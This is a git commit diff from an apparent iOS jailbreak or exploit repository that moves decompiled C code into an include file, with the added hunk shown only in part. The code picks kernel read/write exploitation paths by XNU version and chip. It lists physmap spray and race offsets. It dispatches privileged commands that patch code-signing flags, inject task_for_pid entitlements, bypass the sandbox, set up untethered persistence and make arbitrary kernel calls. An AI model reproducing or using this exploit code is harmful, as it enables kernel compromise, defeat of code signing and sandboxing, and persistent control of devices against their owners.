mirror of
https://github.com/khanhduytran0/coruna.git
synced 2026-07-12 23:16:39 +02:00
Split driver dispatch helpers include
This commit is contained in:
khanhduytran0
@@ -728,430 +728,7 @@ __int64 __fastcall find_kfunc_ptr_in_kernel_data(struct_krwCtx *krwCtx, __int64
|
||||
__int64 __fastcall scan_kernel_page_for_pattern(struct_krwCtx *krwCtx, __int64 a2, mach_vm_size_t a3, unsigned __int64 a4, __int64 (__fastcall *a5)(__int64, __int64), __int64 a6);
|
||||
__int64 __fastcall resolve_kfunc_via_page_dispatch(struct_krwCtx *krwCtx, __int64 a2, unsigned int a3, __int64 *a4, __int64 (__fastcall *a5)(__int64, __int64), __int64 a6);
|
||||
|
||||
typedef enum krw_setup_path {
|
||||
KRW_SETUP_PATH_VOUCHER = 0,
|
||||
KRW_SETUP_PATH_PORTS_VM = 1,
|
||||
KRW_SETUP_PATH_IOSURFACE = 2,
|
||||
KRW_SETUP_PATH_IOGPU = 3,
|
||||
} krw_setup_path_t;
|
||||
|
||||
typedef struct krw_thread_state_mapping {
|
||||
vm_address_t mappedAddress;
|
||||
vm_size_t mappedSize;
|
||||
pthread_t suspendedThread;
|
||||
thread_act_t machThread;
|
||||
uint32_t statePageOffset;
|
||||
} krw_thread_state_mapping_t;
|
||||
|
||||
enum
|
||||
{
|
||||
KRW_CTX_SIZE = 0x1D60,
|
||||
KRW_CTX_OLD_PTRAUTH_BASE_OFFSET = 0x228,
|
||||
KRW_CTX_OLD_SELF_TASK_IPC_OFFSET = 0x230,
|
||||
KRW_CTX_NECP_TRIGGER_ADDR_OFFSET = 0x218,
|
||||
KRW_CTX_PPL_DATA_CONST_PTR_OFFSET = 0x220,
|
||||
KRW_CTX_SHARED_MEM_PORT_OFFSET = 0xE8,
|
||||
KRW_CTX_SHARED_MEM_USER_ADDR_OFFSET = 0xF8,
|
||||
KRW_CTX_SHARED_MEM_KERN_ADDR_OFFSET = 0x100,
|
||||
KRW_CTX_PIPE_READ_FD_OFFSET = 0x1930,
|
||||
KRW_CTX_PIPE_WRITE_FD_OFFSET = 0x1934,
|
||||
KRW_CTX_IOSURFACE_FD_OFFSET = 0x1940,
|
||||
KRW_CTX_NECP_FD_OFFSET = 0x1944,
|
||||
KRW_CTX_NECP_UUID_OFFSET = 0x1948,
|
||||
KRW_CTX_NECP_PORT_SET_KADDR_OFFSET = 0x1958,
|
||||
KRW_CTX_THREAD_STATE_MAPPING_OFFSET = 0x1D50,
|
||||
KRW_THREAD_STATE_OFFSET_A12_TO_A17 = 0xB8,
|
||||
KRW_THREAD_STATE_OFFSET_PRE_A11 = 0x100,
|
||||
KRW_THREAD_STATE_OFFSET_A17 = 0x108,
|
||||
};
|
||||
|
||||
#define KRW_CTX_AT(krwCtx, type, offset) (*(type *)(KRWCTX_RAW_PTR(krwCtx) + (offset)))
|
||||
|
||||
enum
|
||||
{
|
||||
PHYSMAP_CTX_SPRAY_PAGES_OFFSET = 0x30,
|
||||
PHYSMAP_CTX_SHARED_COPY_BASE_OFFSET = 0x440,
|
||||
PHYSMAP_CTX_REGION_A_LIST_OFFSET = 0x468,
|
||||
PHYSMAP_CTX_REGION_A_INDEX_OFFSET = 0x478,
|
||||
PHYSMAP_CTX_REGION_B_LIST_OFFSET = 0x490,
|
||||
PHYSMAP_CTX_REGION_B_INDEX_OFFSET = 0x4A0,
|
||||
PHYSMAP_CTX_COPY_THREAD_A_OFFSET = 0x4F8,
|
||||
PHYSMAP_CTX_COPY_THREAD_A_READY_OFFSET = 0x500,
|
||||
PHYSMAP_CTX_COPY_THREAD_B_OFFSET = 0x508,
|
||||
PHYSMAP_CTX_COPY_THREAD_B_READY_OFFSET = 0x510,
|
||||
PHYSMAP_CTX_RESTORE_ENTRY_A_OFFSET = 0x4B8,
|
||||
PHYSMAP_CTX_RESTORE_ENTRY_B_OFFSET = 0x4D8,
|
||||
PHYSMAP_CTX_PAGE_WINDOW_COUNT_OFFSET = 0x598,
|
||||
PHYSMAP_CTX_RACE_SOURCE_A_OFFSET = 0x5D8,
|
||||
PHYSMAP_CTX_RACE_SOURCE_B_OFFSET = 0x5E0,
|
||||
PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET = 0x38,
|
||||
PHYSMAP_PAGE_ENTRY_BACKING_OFFSET = 0xA0,
|
||||
};
|
||||
|
||||
#define PHYSMAP_CTX_AT(krwCtx, type, offset) (*(type *)((char *)(krwCtx) + (offset)))
|
||||
|
||||
static krw_setup_path_t krw_select_setup_path(struct_krwCtx *krwCtx)
|
||||
{
|
||||
uint64_t xnuVersionPacked = krwCtx->xnuVersionPacked;
|
||||
uint32_t flags = krwCtx->flags;
|
||||
bool isA12ToA17 = (flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0;
|
||||
|
||||
if ( xnuVersionPacked > XNU_VERSION_PACKED(10002, 60, 75, 0, 2) )
|
||||
return (flags & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) != 0 ? KRW_SETUP_PATH_IOGPU : KRW_SETUP_PATH_IOSURFACE;
|
||||
if ( xnuVersionPacked > XNU_VERSION_PACKED(8796, 122, 4, 1023, 1023) )
|
||||
return KRW_SETUP_PATH_IOSURFACE;
|
||||
if ( xnuVersionPacked > XNU_VERSION_PACKED(8796, 102, 4, 1023, 1023) )
|
||||
return isA12ToA17 && (flags & KRW_CTX_FLAG_CPU_A12) == 0 ? KRW_SETUP_PATH_PORTS_VM : KRW_SETUP_PATH_IOSURFACE;
|
||||
if ( xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023)
|
||||
&& (isA12ToA17 || xnuVersionPacked > XNU_VERSION_PACKED(8020, 99, 1023, 1023, 1023)) )
|
||||
{
|
||||
return KRW_SETUP_PATH_PORTS_VM;
|
||||
}
|
||||
return KRW_SETUP_PATH_VOUCHER;
|
||||
}
|
||||
|
||||
static bool krw_has_any_ready_method(struct_krwCtx *krwCtx)
|
||||
{
|
||||
bool hasThreadStateKrw = krwCtx->threadForKernelRead + 1 >= 2 && *(uint64_t *)&krwCtx->threadStateKrwPhysAddr;
|
||||
bool hasIOConnectKrw = (unsigned int)(*(uint32_t *)&krwCtx->ioConnectPort + 1) >= 2
|
||||
&& *(uint64_t *)&krwCtx->ioConnectMappedAddr
|
||||
&& *(uint64_t *)&krwCtx->ioConnectMappedSize;
|
||||
bool hasPipePairKrw = krwCtx->krw_pipe_0 != -1
|
||||
&& krwCtx->krw_pipe_1 != -1
|
||||
&& ((krwCtx->iosurfaceFd != -1 && krwCtx->gap_0x218)
|
||||
|| (krwCtx->pipeFd0 != -1 && krwCtx->pipeFd1 != -1));
|
||||
bool hasTargetPortKrw = (unsigned int)(krwCtx->targetVmPort + 1) >= 2;
|
||||
|
||||
return hasThreadStateKrw || hasIOConnectKrw || hasPipePairKrw || hasTargetPortKrw;
|
||||
}
|
||||
|
||||
static bool krw_prepare_selected_setup_path(struct_krwCtx *krwCtx, krw_setup_path_t setupPath, uint32_t *needsSecondStage)
|
||||
{
|
||||
switch ( setupPath )
|
||||
{
|
||||
case KRW_SETUP_PATH_VOUCHER:
|
||||
return krw_setup_with_stat(krwCtx, needsSecondStage);
|
||||
case KRW_SETUP_PATH_PORTS_VM:
|
||||
return krw_setup_ports_vm(krwCtx, needsSecondStage);
|
||||
case KRW_SETUP_PATH_IOGPU:
|
||||
return iogpu_krw_ctx_setup(krwCtx, needsSecondStage) == 0;
|
||||
case KRW_SETUP_PATH_IOSURFACE:
|
||||
default:
|
||||
return krw_setup_iosurface_v2(krwCtx, needsSecondStage);
|
||||
}
|
||||
}
|
||||
|
||||
static bool krw_finish_selected_setup_path(struct_krwCtx *krwCtx, krw_setup_path_t setupPath)
|
||||
{
|
||||
switch ( setupPath )
|
||||
{
|
||||
case KRW_SETUP_PATH_VOUCHER:
|
||||
return krw_setup_voucher(krwCtx);
|
||||
case KRW_SETUP_PATH_PORTS_VM:
|
||||
return krw_setup_physmap(krwCtx);
|
||||
case KRW_SETUP_PATH_IOGPU:
|
||||
return iogpu_physmap_init(krwCtx) == 0;
|
||||
case KRW_SETUP_PATH_IOSURFACE:
|
||||
default:
|
||||
return krw_setup_iosurface(krwCtx);
|
||||
}
|
||||
}
|
||||
|
||||
static uint64_t driver_dispatch_finish(uint64_t status, bool commandSucceeded)
|
||||
{
|
||||
if ( (uint32_t)status || commandSucceeded )
|
||||
return (uint32_t)status;
|
||||
return 163843;
|
||||
}
|
||||
|
||||
char *_CFProcessPath(void);
|
||||
|
||||
#define DRIVER_CMD_PATCH_PARENT_CSFLAGS 1
|
||||
#define DRIVER_CMD_GET_SELF_TASK_PORT_OFFSET 2
|
||||
#define DRIVER_CMD_INJECT_TFP_ENTITLEMENT 3
|
||||
#define DRIVER_CMD_PATCH_CSBLOB 6
|
||||
#define DRIVER_CMD_SET_THREAD_KOBJ_DISPATCH 7
|
||||
#define DRIVER_CMD_GET_OR_SET_SELF_UID_CRED 8
|
||||
#define DRIVER_CMD_SET_SELF_SPECIAL_PORT 9
|
||||
#define DRIVER_CMD_SETUP_SANDBOX_BYPASS 10
|
||||
#define DRIVER_CMD_CHECK_SELF_DYLD_INFO 11
|
||||
#define DRIVER_CMD_KREAD_SET_VM_ATTR 12
|
||||
#define DRIVER_CMD_NECP_SEND_SELF 13
|
||||
#define DRIVER_CMD_PGTABLE_KREAD_VM_ATTR 15
|
||||
#define DRIVER_CMD_PGTABLE_KREAD_VM_ATTR_NO_PATCH 19
|
||||
#define DRIVER_CMD_INJECT_CSBLOB_ENTITLEMENT 20
|
||||
#define DRIVER_CMD_GET_TASK_PORT_PID_OFFSET 21
|
||||
#define DRIVER_CMD_NECP_SEND_TASK 22
|
||||
#define DRIVER_CMD_VALIDATE_IPC_KOBJECT_READ 23
|
||||
#define DRIVER_CMD_SET_TASK_SPECIAL_PORT 26
|
||||
#define DRIVER_CMD_PHYSMAP_KREAD_AND_REFRESH 31
|
||||
#define DRIVER_CMD_INSERT_TASK_SEND_RIGHT 34
|
||||
#define DRIVER_CMD_KREAD_PROC_ENTITLEMENT_DATA 38
|
||||
#define DRIVER_CMD_GET_PROC_EXEC_FLAGS ((int)0xC000001Bu)
|
||||
#define DRIVER_CMD_UNSUPPORTED_1C ((int)0xC000001Cu)
|
||||
#define DRIVER_CMD_TASK_FOR_PID_OR_NAME_RET_PTR ((int)0xC000001Du)
|
||||
#define DRIVER_CMD_UNSUPPORTED_1E ((int)0xC000001Eu)
|
||||
#define DRIVER_CMD_UNSUPPORTED_1F ((int)0xC000001Fu)
|
||||
#define DRIVER_CMD_UPDATE_PHYSMAP_TABLE_SELF ((int)0x8000001Cu)
|
||||
#define DRIVER_CMD_UPDATE_PHYSMAP_TABLE_TASK ((int)0xC0000020u)
|
||||
#define DRIVER_CMD_UNSUPPORTED_21 ((int)0xC0000021u)
|
||||
#define DRIVER_CMD_UNSUPPORTED_22 ((int)0xC0000022u)
|
||||
#define DRIVER_CMD_KREAD_VERSION_CHECK ((int)0xC0000023u)
|
||||
#define DRIVER_CMD_CHECK_TASK_DYLD_INFO_8 ((int)0x40000018u)
|
||||
#define DRIVER_CMD_CHECK_TASK_DYLD_INFO_32 ((int)0x40000019u)
|
||||
#define DRIVER_CMD_KREAD_PROC_ENTITLEMENT_FULL ((int)0x4000001Bu)
|
||||
#define DRIVER_CMD_SET_THREAD_STATE_VERSIONED ((int)0x4000001Eu)
|
||||
#define DRIVER_CMD_MACH_VM_WIRE ((int)0x40000021u)
|
||||
#define DRIVER_CMD_KWRITE_VERSION_CHECK ((int)0x40000023u)
|
||||
#define DRIVER_CMD_STAGE3_GET_MOUNT_POINT 0x302
|
||||
#define DRIVER_CMD_STAGE3_SETUP_UNTETHERED ((int)0x40000301u)
|
||||
#define DRIVER_CMD_STAGE3_KCALL_3ARGS ((int)0xC0000303u)
|
||||
#define DRIVER_CMD_STAGE3_KCALL_1ARG ((int)0x40000304u)
|
||||
#define DRIVER_CMD_STAGE3_KCALL_6ARGS ((int)0x40000305u)
|
||||
#define DRIVER_CMD_STAGE3_GET_ROOT_MOUNT_INFO ((int)0x80000306u)
|
||||
#define DRIVER_CMD_STAGE3_PHYSMAP_CHECK_RANGE ((int)0x40000306u)
|
||||
#define DRIVER_CMD_STAGE1_GET_ROOT_PREFIX ((int)0x80000108u)
|
||||
#define DRIVER_CMD_STAGE1_GET_ROOT_STATFS ((int)0x80000109u)
|
||||
#define DRIVER_CMD_STAGE1_CHECK_KRW_NECP_STATE ((int)0x8000010Du)
|
||||
#define DRIVER_CMD_STAGE1_CHECK_MOUNT_THREAD 265
|
||||
#define DRIVER_CMD_STAGE1_WALK_CSBLOB_FOR_PATH 268
|
||||
#define DRIVER_CMD_STAGE1_CHECK_DISPATCH_KRW 269
|
||||
#define DRIVER_CMD_STAGE1_PHYSMAP_SINGLE_CHECK ((int)0x40000105u)
|
||||
#define DRIVER_CMD_STAGE1_NECP_CAPABILITIES ((int)0xC000010Bu)
|
||||
#define DRIVER_CMD_STAGE1_PHYSMAP_ENTRY_CHECK ((int)0x4000010Au)
|
||||
|
||||
static uint64_t driver_dispatch_stage3_command(struct_krwCtx *krwCtx, int cmd, uint64_t inoutValue)
|
||||
{
|
||||
if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) || krwCtx->xnuMajorVersion > 8791 )
|
||||
return 708616;
|
||||
|
||||
if ( cmd > 0x40000300 )
|
||||
{
|
||||
switch ( cmd )
|
||||
{
|
||||
case DRIVER_CMD_STAGE3_SETUP_UNTETHERED:
|
||||
return driver_cmd_setup_untethered_persistence_maybe(krwCtx, *(uint32_t *)inoutValue);
|
||||
case DRIVER_CMD_STAGE3_KCALL_1ARG:
|
||||
return krw_dispatch_call_1arg(krwCtx, *(uint32_t *)(inoutValue + 12));
|
||||
case DRIVER_CMD_STAGE3_KCALL_6ARGS:
|
||||
return krw_dispatch_call_6args(
|
||||
krwCtx,
|
||||
*(uint32_t *)inoutValue,
|
||||
*(uint64_t *)(inoutValue + 8),
|
||||
*(uint64_t *)(inoutValue + 16),
|
||||
*(uint32_t *)(inoutValue + 24),
|
||||
*(uint64_t *)(inoutValue + 32));
|
||||
case DRIVER_CMD_STAGE3_PHYSMAP_CHECK_RANGE:
|
||||
return physmap_check_range_wrapper(krwCtx, inoutValue, 20);
|
||||
default:
|
||||
return 708616;
|
||||
}
|
||||
}
|
||||
|
||||
switch ( cmd )
|
||||
{
|
||||
case DRIVER_CMD_STAGE3_GET_ROOT_MOUNT_INFO:
|
||||
return get_root_mount_info(krwCtx, (uint32_t *)inoutValue, (char *)(inoutValue + 16));
|
||||
case DRIVER_CMD_STAGE3_KCALL_3ARGS:
|
||||
return krw_dispatch_call_3args(
|
||||
krwCtx,
|
||||
*(uint64_t *)inoutValue,
|
||||
*(uint32_t *)(inoutValue + 8),
|
||||
inoutValue + 12);
|
||||
case DRIVER_CMD_STAGE3_GET_MOUNT_POINT:
|
||||
return get_mount_point_via_dispatch(krwCtx);
|
||||
default:
|
||||
return 708616;
|
||||
}
|
||||
}
|
||||
|
||||
static uint64_t driver_dispatch_stage1_command(struct_krwCtx *krwCtx, int cmd, uint64_t inoutValue)
|
||||
{
|
||||
uint64_t v3; // x20
|
||||
uint64_t v6; // x21
|
||||
int v14; // w23
|
||||
int v15; // w0
|
||||
int v16; // w0
|
||||
int v21; // w0
|
||||
int v22; // w22
|
||||
int v23; // w21
|
||||
int v24; // w22
|
||||
unsigned int v25; // w1
|
||||
bool v26; // w8
|
||||
int v27; // w20
|
||||
int v28; // w8
|
||||
__int64 v50; // [xsp+0h] [xbp-40h] BYREF
|
||||
int v51; // [xsp+8h] [xbp-38h] BYREF
|
||||
int v52; // [xsp+Ch] [xbp-34h] BYREF
|
||||
|
||||
v3 = inoutValue;
|
||||
v6 = 708616;
|
||||
v14 = 0;
|
||||
v50 = 0;
|
||||
LODWORD(v50) = v3;
|
||||
v52 = 0;
|
||||
if ( cmd > 264 )
|
||||
{
|
||||
if ( cmd > 268 )
|
||||
{
|
||||
if ( cmd != DRIVER_CMD_STAGE1_CHECK_DISPATCH_KRW )
|
||||
{
|
||||
if ( cmd == DRIVER_CMD_STAGE1_PHYSMAP_ENTRY_CHECK )
|
||||
{
|
||||
v15 = physmap_entry_check(krwCtx, *(uint32_t *)v3, *(uint32_t *)(v3 + 4), *(uint64_t *)(v3 + 16));
|
||||
goto LABEL_79;
|
||||
}
|
||||
if ( cmd == DRIVER_CMD_STAGE1_PHYSMAP_SINGLE_CHECK )
|
||||
{
|
||||
v15 = physmap_single_check(krwCtx, v3, 20);
|
||||
LABEL_79:
|
||||
v14 = v15;
|
||||
LODWORD(v6) = 0;
|
||||
}
|
||||
LABEL_179:
|
||||
v26 = v14 == 0;
|
||||
LABEL_180:
|
||||
return driver_dispatch_finish(v6, !v26);
|
||||
}
|
||||
if ( krwCtx->xnuVersionPacked >> 43 >= 0x44B )
|
||||
{
|
||||
v15 = check_dispatch_krw_state(krwCtx, v3 != 0);
|
||||
goto LABEL_79;
|
||||
}
|
||||
LABEL_84:
|
||||
v14 = 0;
|
||||
goto LABEL_179;
|
||||
}
|
||||
if ( cmd != DRIVER_CMD_STAGE1_CHECK_MOUNT_THREAD )
|
||||
{
|
||||
if ( cmd == DRIVER_CMD_STAGE1_WALK_CSBLOB_FOR_PATH )
|
||||
{
|
||||
if ( !v3 )
|
||||
v3 = _CFProcessPath();
|
||||
v21 = open((const char *)v3, 0, v50);
|
||||
if ( v21 == -1 )
|
||||
{
|
||||
v27 = errno;
|
||||
v14 = 0;
|
||||
v28 = errno;
|
||||
if ( v27 < 0 )
|
||||
v28 = -v28;
|
||||
LODWORD(v6) = v28 | 0x40000000;
|
||||
}
|
||||
else
|
||||
{
|
||||
v22 = v21;
|
||||
if ( v3 )
|
||||
LODWORD(v6) = 0;
|
||||
else
|
||||
LODWORD(v6) = 708609;
|
||||
v14 = walk_csblob_chain_for_offset(krwCtx, v21);
|
||||
close(v22);
|
||||
}
|
||||
}
|
||||
goto LABEL_179;
|
||||
}
|
||||
v25 = v3 & 0xF;
|
||||
if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
|
||||
{
|
||||
if ( v25 > 2 )
|
||||
{
|
||||
v14 = 0;
|
||||
LODWORD(v6) = 708609;
|
||||
goto LABEL_179;
|
||||
}
|
||||
v15 = check_mount_thread_info(krwCtx, v25);
|
||||
goto LABEL_79;
|
||||
}
|
||||
if ( v25 == 1 )
|
||||
LODWORD(v6) = 708616;
|
||||
else
|
||||
LODWORD(v6) = 0;
|
||||
goto LABEL_178;
|
||||
}
|
||||
if ( cmd > -2147483380 )
|
||||
{
|
||||
if ( cmd != DRIVER_CMD_STAGE1_CHECK_KRW_NECP_STATE )
|
||||
{
|
||||
if ( cmd != DRIVER_CMD_STAGE1_NECP_CAPABILITIES )
|
||||
goto LABEL_179;
|
||||
v23 = *(uint32_t *)v3;
|
||||
v24 = (*(uint32_t *)v3 & 1) != 0 && krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) && krwCtx->xnuMajorVersion < 8792;
|
||||
if ( (v23 & 4) != 0 )
|
||||
{
|
||||
if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
|
||||
{
|
||||
if ( check_necp_flag(krwCtx) )
|
||||
v24 |= 4u;
|
||||
}
|
||||
else if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A11) && krwCtx->xnuMajorVersion > 6152 )
|
||||
{
|
||||
v24 |= 4u;
|
||||
}
|
||||
}
|
||||
if ( (v23 & 2) != 0 )
|
||||
{
|
||||
if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
|
||||
{
|
||||
if ( check_necp_flag(krwCtx) )
|
||||
v24 |= 2u;
|
||||
}
|
||||
else
|
||||
{
|
||||
v24 |= 2u;
|
||||
}
|
||||
}
|
||||
if ( (v23 & 8) != 0 && krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
|
||||
v24 |= 8u;
|
||||
LODWORD(v6) = 0;
|
||||
*(uint32_t *)v3 = v24;
|
||||
goto LABEL_178;
|
||||
}
|
||||
v16 = 0;
|
||||
LOBYTE(v51) = 0;
|
||||
if ( krwCtx->xnuVersionPacked >> 43 >= 0x44B )
|
||||
{
|
||||
v16 = check_krw_necp_state(krwCtx, (bool *)&v51);
|
||||
LODWORD(v6) = 0;
|
||||
if ( v16 )
|
||||
LODWORD(v50) = (unsigned __int8)v51;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if ( cmd == DRIVER_CMD_STAGE1_GET_ROOT_PREFIX )
|
||||
{
|
||||
v51 = 1024;
|
||||
if ( !(unsigned int)get_root_prefix_path(krwCtx, (void *)(v3 + 16), (uint32_t *)&v51, (int *)&v52) )
|
||||
{
|
||||
LODWORD(v6) = 0;
|
||||
goto LABEL_84;
|
||||
}
|
||||
if ( v52 )
|
||||
*(uint32_t *)v3 = 1;
|
||||
LODWORD(v6) = 0;
|
||||
if ( v51 )
|
||||
*(uint32_t *)v3 |= 2u;
|
||||
LABEL_178:
|
||||
v14 = 1;
|
||||
goto LABEL_179;
|
||||
}
|
||||
if ( cmd != DRIVER_CMD_STAGE1_GET_ROOT_STATFS )
|
||||
goto LABEL_179;
|
||||
v16 = get_root_statfs(krwCtx, (int *)&v50);
|
||||
LODWORD(v6) = 0;
|
||||
}
|
||||
if ( v16 )
|
||||
{
|
||||
v26 = 0;
|
||||
*(uint32_t *)v3 = v50;
|
||||
}
|
||||
else
|
||||
{
|
||||
v26 = 1;
|
||||
}
|
||||
goto LABEL_180;
|
||||
}
|
||||
#include "entry1_type0x09_driver_dispatch.inc"
|
||||
|
||||
__int64 __fastcall j__fileport_makeport(int a1, mach_port_t *a2);
|
||||
int __fastcall j__fileport_makefd(mach_port_t);
|
||||
|
||||
@@ -0,0 +1,425 @@
|
||||
typedef enum krw_setup_path {
|
||||
KRW_SETUP_PATH_VOUCHER = 0,
|
||||
KRW_SETUP_PATH_PORTS_VM = 1,
|
||||
KRW_SETUP_PATH_IOSURFACE = 2,
|
||||
KRW_SETUP_PATH_IOGPU = 3,
|
||||
} krw_setup_path_t;
|
||||
|
||||
typedef struct krw_thread_state_mapping {
|
||||
vm_address_t mappedAddress;
|
||||
vm_size_t mappedSize;
|
||||
pthread_t suspendedThread;
|
||||
thread_act_t machThread;
|
||||
uint32_t statePageOffset;
|
||||
} krw_thread_state_mapping_t;
|
||||
|
||||
enum
|
||||
{
|
||||
KRW_CTX_SIZE = 0x1D60,
|
||||
KRW_CTX_OLD_PTRAUTH_BASE_OFFSET = 0x228,
|
||||
KRW_CTX_OLD_SELF_TASK_IPC_OFFSET = 0x230,
|
||||
KRW_CTX_NECP_TRIGGER_ADDR_OFFSET = 0x218,
|
||||
KRW_CTX_PPL_DATA_CONST_PTR_OFFSET = 0x220,
|
||||
KRW_CTX_SHARED_MEM_PORT_OFFSET = 0xE8,
|
||||
KRW_CTX_SHARED_MEM_USER_ADDR_OFFSET = 0xF8,
|
||||
KRW_CTX_SHARED_MEM_KERN_ADDR_OFFSET = 0x100,
|
||||
KRW_CTX_PIPE_READ_FD_OFFSET = 0x1930,
|
||||
KRW_CTX_PIPE_WRITE_FD_OFFSET = 0x1934,
|
||||
KRW_CTX_IOSURFACE_FD_OFFSET = 0x1940,
|
||||
KRW_CTX_NECP_FD_OFFSET = 0x1944,
|
||||
KRW_CTX_NECP_UUID_OFFSET = 0x1948,
|
||||
KRW_CTX_NECP_PORT_SET_KADDR_OFFSET = 0x1958,
|
||||
KRW_CTX_THREAD_STATE_MAPPING_OFFSET = 0x1D50,
|
||||
KRW_THREAD_STATE_OFFSET_A12_TO_A17 = 0xB8,
|
||||
KRW_THREAD_STATE_OFFSET_PRE_A11 = 0x100,
|
||||
KRW_THREAD_STATE_OFFSET_A17 = 0x108,
|
||||
};
|
||||
|
||||
#define KRW_CTX_AT(krwCtx, type, offset) (*(type *)(KRWCTX_RAW_PTR(krwCtx) + (offset)))
|
||||
|
||||
enum
|
||||
{
|
||||
PHYSMAP_CTX_SPRAY_PAGES_OFFSET = 0x30,
|
||||
PHYSMAP_CTX_SHARED_COPY_BASE_OFFSET = 0x440,
|
||||
PHYSMAP_CTX_REGION_A_LIST_OFFSET = 0x468,
|
||||
PHYSMAP_CTX_REGION_A_INDEX_OFFSET = 0x478,
|
||||
PHYSMAP_CTX_REGION_B_LIST_OFFSET = 0x490,
|
||||
PHYSMAP_CTX_REGION_B_INDEX_OFFSET = 0x4A0,
|
||||
PHYSMAP_CTX_COPY_THREAD_A_OFFSET = 0x4F8,
|
||||
PHYSMAP_CTX_COPY_THREAD_A_READY_OFFSET = 0x500,
|
||||
PHYSMAP_CTX_COPY_THREAD_B_OFFSET = 0x508,
|
||||
PHYSMAP_CTX_COPY_THREAD_B_READY_OFFSET = 0x510,
|
||||
PHYSMAP_CTX_RESTORE_ENTRY_A_OFFSET = 0x4B8,
|
||||
PHYSMAP_CTX_RESTORE_ENTRY_B_OFFSET = 0x4D8,
|
||||
PHYSMAP_CTX_PAGE_WINDOW_COUNT_OFFSET = 0x598,
|
||||
PHYSMAP_CTX_RACE_SOURCE_A_OFFSET = 0x5D8,
|
||||
PHYSMAP_CTX_RACE_SOURCE_B_OFFSET = 0x5E0,
|
||||
PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET = 0x38,
|
||||
PHYSMAP_PAGE_ENTRY_BACKING_OFFSET = 0xA0,
|
||||
};
|
||||
|
||||
#define PHYSMAP_CTX_AT(krwCtx, type, offset) (*(type *)((char *)(krwCtx) + (offset)))
|
||||
|
||||
static krw_setup_path_t krw_select_setup_path(struct_krwCtx *krwCtx)
|
||||
{
|
||||
uint64_t xnuVersionPacked = krwCtx->xnuVersionPacked;
|
||||
uint32_t flags = krwCtx->flags;
|
||||
bool isA12ToA17 = (flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0;
|
||||
|
||||
if ( xnuVersionPacked > XNU_VERSION_PACKED(10002, 60, 75, 0, 2) )
|
||||
return (flags & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) != 0 ? KRW_SETUP_PATH_IOGPU : KRW_SETUP_PATH_IOSURFACE;
|
||||
if ( xnuVersionPacked > XNU_VERSION_PACKED(8796, 122, 4, 1023, 1023) )
|
||||
return KRW_SETUP_PATH_IOSURFACE;
|
||||
if ( xnuVersionPacked > XNU_VERSION_PACKED(8796, 102, 4, 1023, 1023) )
|
||||
return isA12ToA17 && (flags & KRW_CTX_FLAG_CPU_A12) == 0 ? KRW_SETUP_PATH_PORTS_VM : KRW_SETUP_PATH_IOSURFACE;
|
||||
if ( xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023)
|
||||
&& (isA12ToA17 || xnuVersionPacked > XNU_VERSION_PACKED(8020, 99, 1023, 1023, 1023)) )
|
||||
{
|
||||
return KRW_SETUP_PATH_PORTS_VM;
|
||||
}
|
||||
return KRW_SETUP_PATH_VOUCHER;
|
||||
}
|
||||
|
||||
static bool krw_has_any_ready_method(struct_krwCtx *krwCtx)
|
||||
{
|
||||
bool hasThreadStateKrw = krwCtx->threadForKernelRead + 1 >= 2 && *(uint64_t *)&krwCtx->threadStateKrwPhysAddr;
|
||||
bool hasIOConnectKrw = (unsigned int)(*(uint32_t *)&krwCtx->ioConnectPort + 1) >= 2
|
||||
&& *(uint64_t *)&krwCtx->ioConnectMappedAddr
|
||||
&& *(uint64_t *)&krwCtx->ioConnectMappedSize;
|
||||
bool hasPipePairKrw = krwCtx->krw_pipe_0 != -1
|
||||
&& krwCtx->krw_pipe_1 != -1
|
||||
&& ((krwCtx->iosurfaceFd != -1 && krwCtx->gap_0x218)
|
||||
|| (krwCtx->pipeFd0 != -1 && krwCtx->pipeFd1 != -1));
|
||||
bool hasTargetPortKrw = (unsigned int)(krwCtx->targetVmPort + 1) >= 2;
|
||||
|
||||
return hasThreadStateKrw || hasIOConnectKrw || hasPipePairKrw || hasTargetPortKrw;
|
||||
}
|
||||
|
||||
static bool krw_prepare_selected_setup_path(struct_krwCtx *krwCtx, krw_setup_path_t setupPath, uint32_t *needsSecondStage)
|
||||
{
|
||||
switch ( setupPath )
|
||||
{
|
||||
case KRW_SETUP_PATH_VOUCHER:
|
||||
return krw_setup_with_stat(krwCtx, needsSecondStage);
|
||||
case KRW_SETUP_PATH_PORTS_VM:
|
||||
return krw_setup_ports_vm(krwCtx, needsSecondStage);
|
||||
case KRW_SETUP_PATH_IOGPU:
|
||||
return iogpu_krw_ctx_setup(krwCtx, needsSecondStage) == 0;
|
||||
case KRW_SETUP_PATH_IOSURFACE:
|
||||
default:
|
||||
return krw_setup_iosurface_v2(krwCtx, needsSecondStage);
|
||||
}
|
||||
}
|
||||
|
||||
static bool krw_finish_selected_setup_path(struct_krwCtx *krwCtx, krw_setup_path_t setupPath)
|
||||
{
|
||||
switch ( setupPath )
|
||||
{
|
||||
case KRW_SETUP_PATH_VOUCHER:
|
||||
return krw_setup_voucher(krwCtx);
|
||||
case KRW_SETUP_PATH_PORTS_VM:
|
||||
return krw_setup_physmap(krwCtx);
|
||||
case KRW_SETUP_PATH_IOGPU:
|
||||
return iogpu_physmap_init(krwCtx) == 0;
|
||||
case KRW_SETUP_PATH_IOSURFACE:
|
||||
default:
|
||||
return krw_setup_iosurface(krwCtx);
|
||||
}
|
||||
}
|
||||
|
||||
